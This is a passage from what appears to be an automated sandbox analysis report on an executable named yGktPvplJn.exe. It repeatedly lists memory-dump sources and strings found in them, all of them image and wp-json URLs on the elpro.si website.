00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/02/INDUSTRY_O360-3008-2-of-2-2-100x100.jpg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/02/INDUSTRY_O360-3008-2-of-2-2-150x150.jpg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/02/INDUSTRY_O360-3008-2-of-2-2-300x300.jpg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/05/ETALONSKI-INDIKACIJSKI-TERMOMETER-VECKANALNI-SIMEX-1
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/05/ETALONSKI-INDIKACIJSKI-TERMOMETER-VECKANALNI-SIMEX-3
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/05/ETALONSKI-INDIKACIJSKI-TERMOMETER-VECKANALNI-SIMEX-6
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/05/ETALONSKI-INDIKACIJSKI-TERMOMETER-VECKANALNI-SIMEX.j
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/05/Precizni-chilled-mirror-vlagomer-za-proizvodnjo-polp
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/08/2500-4420_3-355x200.jpg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-content/uploads/2024/10/WOHLER-1-355x200.jpg
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-json/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.elpro.si/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.elpro.si%2F
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 